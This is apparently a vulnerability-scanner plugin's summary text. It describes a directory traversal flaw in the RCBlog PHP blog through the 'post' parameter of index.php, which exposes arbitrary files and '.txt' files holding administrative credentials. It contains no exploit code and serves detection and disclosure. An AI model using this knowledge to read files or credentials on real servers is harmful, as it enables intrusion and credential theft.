tag_summary = "The remote web server contains a PHP script that is prone to directory 
traversal attacks.

Description :

The remote host is running RCBlog, a blog written in PHP. 

The remote version of this software fails to sanitize user-supplied
input to the 'post' parameter of the 'index.php' script.  An attacker
can use this to access arbitrary files on the remote host provided
PHP's 'magic_quotes' setting is disabled or, regardless of that
setting, files with a '.txt' extension such as those used by the
application to store administrative credentials.";
